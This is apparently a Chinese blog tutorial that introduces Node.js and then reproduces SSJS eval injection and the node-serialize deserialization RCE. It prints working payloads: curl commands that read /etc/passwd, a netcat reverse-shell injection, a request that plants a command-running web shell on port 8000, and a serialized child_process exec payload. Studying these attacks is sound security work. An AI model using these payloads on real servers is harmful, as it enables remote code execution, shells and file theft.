nodejs学习以及SSJS漏洞
0x01 简介
什么是nodejs,it's javascript webserver!
JS是脚本语言,脚本语言都需要一个解析器才能运行。对于写在HTML页面里的JS,浏览器充当了解析器的角色。而对于需要独立运行的JS,NodeJS就是一个解析器。
每一种解析器都是一个运行环境,不但允许JS定义各种数据结构,进行各种计算,还允许JS使用运行环境提供的内置对象和方法做一些事情。例如运行在浏览器中的JS的用途是操作DOM,浏览器就提供了document之类的内置对象。而运行在NodeJS中的JS的用途是操作磁盘文件或搭建HTTP服务器,NodeJS就相应提供了fs、http等内置对象。
0x02 测试
直接下载编译好的exe放到系统目录下(当然也可以使用msi安装包进行安装 http://nodejs.cn/#download),查看版本,和解析js命令

文件操作
NodeJS提供了基本的文件操作API,但是像文件拷贝这种高级功能就没有提供,因此我们先拿文件拷贝程序练手。与copy命令类似,我们的程序需要能接受源文件路径与目标文件路径两个参数。
文件拷贝
我们使用NodeJS内置的fs模块简单实现这个程序如下。
var fs = require('fs');
function copy(src, dst) {
fs.writeFileSync(dst, fs.readFileSync(src));
}
function main(argv) {
copy(argv[0], argv[1]);
}
main(process.argv.slice(2));

这里说一下,即使脚本的后缀不是以js结尾的,也是可以顺利执行的。
网络操作
不了解网络编程的程序员不是好前端,而NodeJS恰好提供了一扇了解网络编程的窗口。通过NodeJS,除了可以编写一些服务端程序来协助前端开发和测试外,还能够学习一些HTTP协议与Socket协议的相关知识。
NodeJS本来的用途是编写高性能Web服务器。我们首先在这里重复一下官方文档里的例子,使用NodeJS内置的http模块简单实现一个HTTP服务器。
var http = require('http');
http.createServer(function (request, response) {
response.writeHead(200, { 'Content-Type': 'text-plain' });
response.end('Hello World\n');
}).listen(8124);

除了可以构建http服务器之外,还可以用作客户端发送http请求,like this
var options = {
hostname: 'www.example.com',
port: 80,
path: '/upload',
method: 'POST',
headers: {
'Content-Type': 'application/x-www-form-urlencoded'
}
};
var request = http.request(options, function (response) {});
request.write('Hello World');
request.end();
请求头和请求体都可以定制。
除文件操作和网络操作之外还有进程管理和异步编程等就不具体描述了,详细的可以查看官方api文档。

有了web服务端开发语言,那么像php语言一样有一些著名的框架(laravel,CodeIgniter,thinkphp)一样,Nodejs也有比较流行的框架,是Express。
express的安装 npm install express --save
0x03 ssjs 服务端javascript代码注入
漏洞代码如下:
/**
* NodeBleed Original Bug: https://github.com/nodejs/node/issues/4660
* PoC: $ node nodejs-ssjs-nodebleed.js
* "Attack":
* - Direct Eval: $ curl http://localhost:8080/ -X POST -H "Content-Type: application/json" --data "res.end(require('fs').readFileSync('/etc/passwd', {encoding:'UTF-8'}))"
* - JSON Abuse: $ curl http://localhost:8080/ -X POST -H "Content-Type: application/json" --data "{\"str\":"1000",\"injection\":\"require('fs').readFileSync('/etc/passwd', {encoding:'UTF-8'})\"}"
* - NodeBleed: $ curl http://localhost:8080/ -X POST -H "Content-Type: application/json" --data "{\"str\":1000,\"injection\":\"\"}" | hexdump -C
*
* Insecure evals Payloads:
* - --data "{\"str\": \"1000\",\"injection\":\"require('child_process').exec('netcat -e /bin/sh IP 9999')\"}" ($ netcat -l -p 9999)
* - --data "{\"str\": 10000,\"injection\":\"require('fs').readFileSync('/etc/passwd', {encoding:'UTF-8'})\"}"
* All Node.js version (5.5.0 and 4.2.6) are vulnerable at the moment.
* $ nvm ls-remote (Play with different versions)
* @SiMpS0N - Fev/2016
*/ var http = require('http'); var server = http.createServer(function(req, res) {
console.log("### 0xOPOSEC Demos ###")
var data = ''
var injection = ''
req.setEncoding('utf8')
req.on('data', function(chunk) {
data += chunk
})
console.log(data)
req.on('end', function() {
/*Convert a JSON text into an object
* Tradional way (Not Secure):
* var body = eval("("+data+")")
* Attack: "res.end(require('fs').readFileSync('/etc/passwd', {encoding:'UTF-8'}))"
*/
//var body = eval("("+data+")")
/*
* Correct way:
*/
var body = JSON.parse(data) //SSJS Injection (eval JS code)
console.log("##SSJS Injection")
console.log("Payload: "+body.injection+"\n") injection = eval(body.injection) //NodeBleed (new Buffer(int)->MemoryDisclosure)
console.log("##NodeBleed")
console.log("Disclosure Bytes: "+body.str)
res.end(new Buffer(body.str) + "\n" + injection)
})
}) server.listen(8080)
简单分析一下,服务器端监听8080端口,对接收到post的json数据处理,其中injection字段的值进行了eval代码执行,那么payload构造起来就很简单,我们可以通过fs模块的readFileSync()函数去读比如 /etc/passwd 文件,如下图所示:

那创建一个无文件的小马如何?
POST / HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:53.0) Gecko/20100101 Firefox/53.0
Host: 192.168.199.182:8080
Accept: */*
Content-Type: application/json
Content-Length: 301 {"str":1000,"injection":"setTimeout(function() { require('http').createServer(function (req, res) { res.writeHead(200, {\"Content-Type\": \"text/plain\"});require('child_process').exec(require('url').parse(req.url, true).query['cmd'], function(e,s,st) {res.end(s);}); }).listen(8000); }, 5000)"}
如上,我们是开启了一个8000端口的监听,并对传入的cmd参数进行命令执行,这样就达到了一个小马的效果。

0x04 反序列化漏洞
nodejs的node-serialize 模块曾经爆出过一个漏洞CVE-2017-5941可以参考https://www.exploit-db.com/docs/41289.pdf,该模块的源码在这里https://github.com/luin/serialize(好奇的是漏洞出了这么久,但是作者并没有去修复。。只是发了一个security warning。。)

这里简单介绍和复现一下:

注意,如果想要全局中使用这个node-serialize模块就要使用 -g的参数(npm全局安装和本地安装 http://www.cnblogs.com/chyingp/p/npm-install-difference-between-local-global.html),而且参考文章中版本也是0.0.4,也正好就是存在漏洞的版本。
生成payload的方式如下:
var y = {
rce : function(){
require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) });
},
}
var serialize = require('node-serialize');
console.log("Serialized: \n" + serialize.serialize(y));
Serialized:
{"rce":"_$$ND_FUNC$$_function (){\n require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) });\n }"}
但是生成的payload要修改才能够调用执行
{"rce":"_$$ND_FUNC$$_function (){require(\'child_process\').exec(\'ls /\',function(error, stdout, stderr) { console.log(stdout) });}()"} 需要在整个function后面加(),「立即执行函数表达式」(Immediately-Invoked Function Expression,以下简称IIFE)参考:http://weizhifeng.net/immediately-invoked-function-expression.html
反序列化恶意payload,就执行了ls / 的命令,效果如下图所示

0x05 Refererence
1.https://nqdeng.github.io/7-days-nodejs/
2.http://www.runoob.com/nodejs/nodejs-express-framework.html
3.https://www.youtube.com/watch?v=puyOlZBudNI
4.http://expressjs.com/
5.慕课网nodejs学习 http://www.imooc.com/learn/348
6.http://www.kanxue.com/?article-read-1108.htm=&hmsr=toutiao.io&utm_medium=toutiao.io&utm_source=toutiao.io
7.https://s1gnalcha0s.github.io/node/2015/01/31/SSJS-webshell-injection.html
8.http://paper.seebug.org/213/
9.https://bbs.ichunqiu.com/thread-24807-1-1.html?from=beef
nodejs学习以及SSJS漏洞的更多相关文章
- Nodejs学习路线图
前言 用Nodejs已经1年有余,陆陆续续写了48篇关于Nodejs的博客文章,用过的包有上百个.和所有人一样,我也从Web开发开始,然后到包管 理,再到应用系统的开发,最后开源自己的Nodejs项目 ...
- Nodejs学习笔记(四)——支持Mongodb
前言:回顾前面零零碎碎写的三篇挂着Nodejs学习笔记的文章,着实有点名不副实,当然,这篇可能还是要继续走着离主线越走越远的路子,从简短的介绍什么是Nodejs,到如何寻找一个可以调试的Nodejs ...
- Nodejs学习笔记(三)——一张图看懂Nodejs建站
前言:一条线,竖着放,如果做不到精进至深,那就旋转90°,至少也图个幅度宽广. 通俗解释上面的胡言乱语:还没学会爬,就学起走了?! 继上篇<Nodejs学习笔记(二)——Eclipse中运行调试 ...
- Nodejs学习笔记(二)——Eclipse中运行调试Nodejs
前篇<Nodejs学习笔记(一)——初识Nodejs>主要介绍了在搭建node环境过程中遇到的小问题以及搭建Eclipse开发Node环境的前提步骤.本篇主要介绍如何在Eclipse中运行 ...
- NodeJS学习笔记之Connect中间件模块(一)
NodeJS学习笔记之Connect中间件模块(一) http://www.jb51.net/article/60430.htm NodeJS学习笔记之Connect中间件模块(二) http://w ...
- Nodejs学习笔记(六)--- Node.js + Express 构建网站预备知识
目录 前言 新建express项目并自定义路由规则 如何提取页面中的公共部分? 如何提交表单并接收参数? GET 方式 POST 方式 如何字符串加密? 如何使用session? 如何使用cookie ...
- Nodejs学习笔记(十五)--- Node.js + Koa2 构建网站简单示例
目录 前言 搭建项目及其它准备工作 创建数据库 创建Koa2项目 安装项目其它需要包 清除冗余文件并重新规划项目目录 配置文件 规划示例路由,并新建相关文件 实现数据访问和业务逻辑相关方法 编写mys ...
- Nodejs学习笔记(十六)--- Pomelo介绍&入门
目录 前言&介绍 安装Pomelo 创建项目并启动 创建项目 项目结构说明 启动 测试连接 聊天服务器 新建gate和chat服务器 配置master.json 配置servers.json ...
- [转]Nodejs学习笔记(十五)--- Node.js + Koa2 构建网站简单示例
本文转自:https://www.cnblogs.com/zhongweiv/p/nodejs_koa2_webapp.html 目录 前言 搭建项目及其它准备工作 创建数据库 创建Koa2项目 安装 ...
随机推荐
- 解决vs2017不能添加引用问题
c# 添加引用时报错:“未能正确加载“ReferenceManagerPackage”包”的解决方法 在添加应用的时候,右键点击“引用”,选择“添加引用”后,会提示“**未能正确加载Reference ...
- 自反ACL(第三组)
一.实验拓扑 二.配置过程 此处我用了学号后两位来划分网段,注意:先把网络做通再配ACL 1)网络连通测试 内网可以telnet外网 ----------- 外网可以telnet内网 2)ACL配置( ...
- Kafka Frequently Asked Questions
This is intended to be an easy to understand FAQ on the topic of Kafka. One part is for beginners, o ...
- 【spring源码分析】IOC容器初始化(七)
前言:在[spring源码分析]IOC容器初始化(六)中分析了从单例缓存中加载bean对象,由于篇幅原因其核心函数 FactoryBeanRegistrySupport#getObjectFromFa ...
- 本地跑 spark ui 报错
java.lang.NoSuchMethodError: javax.servlet.http.HttpServletRequest.isAsyncStarted()Z at org.spark_pr ...
- python3中的 zip()函数 和python2中的 zip()函数 的区别
python3中的 zip()函数 和python2中的 zip()函数 的区别: 描述: zip() 函数用于将可迭代对象作为参数,将对象中对应的元素打包成一个个元组,然后返回由这些元组组成的对象. ...
- aop 幂等验证(二)
1 创建IIdempotent @Target({ElementType.PARAMETER, ElementType.METHOD}) @Retention(RetentionPolicy.RUNT ...
- Flask框架(1)--基础
Flask是一个基于Python开发并且依赖jinja2模板和Werkzeug WSGI服务的一个微型框架,对于Werkzeug本质是Socket服务端,其用于接收http请求并对请求进行预处理,然后 ...
- 小白在 Eclipse如何避免启动时自动building workspace和validating
问题: Eclipse启动时会出现如下的情况(时间比较长): 原因所在: Validating 意为验证,validating... 逐个的检查每一个文件,Eclipse在启动时自动验证代码和创建wo ...
- (String) leetcode 67. Add Binary
Given two binary strings, return their sum (also a binary string). The input strings are both non-em ...